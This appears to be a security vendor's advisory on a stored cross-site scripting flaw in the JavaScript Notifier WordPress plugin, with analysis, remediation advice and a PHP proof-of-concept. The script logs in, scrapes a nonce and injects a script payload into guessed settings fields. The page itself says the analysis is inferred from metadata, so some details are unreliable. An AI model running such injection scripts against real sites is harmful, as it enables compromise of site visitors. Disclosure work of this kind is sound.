Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1191: JavaScript Notifier <= 1.2.8 – Authenticated (Administrator+) Stored Cross-Site Scripting via Plugin Settings (javascript-notifier)

CVE ID CVE-2026-1191
Severity Medium (CVSS 4.4)
CWE 79
Vulnerable Version 1.2.8
Patched Version
Disclosed January 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1191 (metadata-based): This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the JavaScript Notifier WordPress plugin. The vulnerability affects the plugin’s settings, allowing attackers with administrator privileges to inject malicious scripts. These scripts execute in the context of any user viewing a page where the plugin’s output is rendered, typically in the site footer via the `wp_footer` action.

The root cause is insufficient input sanitization and output escaping on user-supplied attributes. The CWE-79 classification indicates the plugin fails to properly neutralize user input before it is placed into web page output. Atomic Edge research infers the plugin likely accepts settings via an admin form, stores them without adequate sanitization, and later outputs them directly in the `wp_footer` hook without using escaping functions like `esc_attr()` or `esc_html()`. This conclusion is based on the vulnerability description and common WordPress plugin patterns, as no source code diff is available for confirmation.

Exploitation requires an attacker to have administrator-level access. The attacker would navigate to the plugin’s settings page in the WordPress admin area, typically found at `/wp-admin/options-general.php?page=javascript-notifier` or a similar menu. The attacker would then submit a crafted payload in one of the plugin’s setting fields. A realistic payload could be `` or a script tag loading external JavaScript. Upon saving, the malicious input is stored in the WordPress database. The payload then executes for all users when the plugin renders its output via `wp_footer`.

Remediation requires proper input validation and output escaping. The patched version (1.2.9) likely implemented WordPress sanitization functions like `sanitize_text_field()` on input during settings save operations. For output, the fix would use escaping functions such as `esc_attr()` for HTML attributes and `esc_html()` for text content within the `wp_footer` callback. These functions ensure user-controlled data is treated as inert text, not executable code.

The impact of successful exploitation is client-side code execution in the context of any site visitor. An attacker can steal session cookies, perform actions on behalf of authenticated users, deface the site, or redirect users to malicious domains. The CVSS score of 4.4 reflects the high privileges required (PR:H) and high attack complexity (AC:H), but the scope change (S:C) and low confidentiality/integrity impacts (C:L/I:L) limit the overall severity. The stored nature of the XSS increases its reach compared to reflected attacks.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1191 - JavaScript Notifier <= 1.2.8 - Authenticated (Administrator+) Stored Cross-Site Scripting via Plugin Settings
<?php
// CONFIGURATION
$target_url = 'https://target-site.com'; // Change this to the target WordPress site URL
$admin_user = 'administrator'; // Administrator username
$admin_pass = 'password'; // Administrator password
$payload = '<script>alert(document.domain)</script>'; // XSS payload to inject into plugin settings

// ASSUMPTIONS: The plugin settings are saved via a standard WordPress admin POST request.
// The exact form field names are unknown but are inferred to be related to notification text or attributes.
// This PoC attempts to find and poison a likely text field.

function poc_cve_2026_1191($target_url, $admin_user, $admin_pass, $payload) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookie.txt');
    curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookie.txt');
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); // For testing only

    // 1. Authenticate to WordPress admin
    $login_url = $target_url . '/wp-login.php';
    $login_fields = http_build_query([
        'log' => $admin_user,
        'pwd' => $admin_pass,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url . '/wp-admin/',
        'testcookie' => '1'
    ]);
    curl_setopt($ch, CURLOPT_URL, $login_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $login_fields);
    curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/x-www-form-urlencoded']);
    $response = curl_exec($ch);
    if (strpos($response, 'Dashboard') === false && strpos($response, 'wp-admin') === false) {
        echo "[-] Authentication failed.n";
        return false;
    }
    echo "[+] Authenticated as administrator.n";

    // 2. Access the plugin's settings page to obtain a nonce.
    // The plugin slug is 'javascript-notifier'. Settings are likely under Settings -> JavaScript Notifier.
    $settings_url = $target_url . '/wp-admin/options-general.php?page=javascript-notifier';
    curl_setopt($ch, CURLOPT_URL, $settings_url);
    curl_setopt($ch, CURLOPT_POST, false);
    curl_setopt($ch, CURLOPT_HTTPGET, true);
    $response = curl_exec($ch);

    // 3. Extract a nonce from the form. Assume a field named '_wpnonce' or similar.
    $nonce = '';
    if (preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $response, $matches)) {
        $nonce = $matches[1];
    } else if (preg_match('/name="javascript_notifier_nonce" value="([a-f0-9]+)"/', $response, $matches)) {
        $nonce = $matches[1];
    } else {
        // Fallback: try to infer from common patterns.
        preg_match_all('/value="([a-f0-9]{10,})"/', $response, $matches);
        if (!empty($matches[1])) $nonce = $matches[1][0];
    }
    if (empty($nonce)) {
        echo "[-] Could not extract security nonce. The form structure may differ.n";
        return false;
    }
    echo "[+] Extracted nonce: $noncen";

    // 4. Submit the XSS payload to the settings form.
    // The exact parameter names are unknown. We attempt common field names based on plugin purpose.
    $submit_url = $target_url . '/wp-admin/options-general.php?page=javascript-notifier';
    $post_fields = [
        '_wpnonce' => $nonce,
        '_wp_http_referer' => '/wp-admin/options-general.php?page=javascript-notifier',
        'submit' => 'Save Changes',
        // Attempt to inject into likely text fields
        'javascript_notifier_text' => $payload,
        'js_notifier_message' => $payload,
        'notification_text' => $payload,
        'message' => $payload
    ];
    curl_setopt($ch, CURLOPT_URL, $submit_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
    $response = curl_exec($ch);

    // 5. Verify success by checking for a success message or lack of errors.
    if (strpos($response, 'Settings saved') !== false || strpos($response, 'updated') !== false || strpos($response, 'success') !== false) {
        echo "[+] XSS payload likely injected successfully.n";
        echo "[+] Visit the site's frontend to trigger the payload in the footer.n";
    } else {
        echo "[-] Payload injection may have failed. The actual form field names need verification.n";
    }
    curl_close($ch);
    return true;
}

// Execute the PoC
poc_cve_2026_1191($target_url, $admin_user, $admin_pass, $payload);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School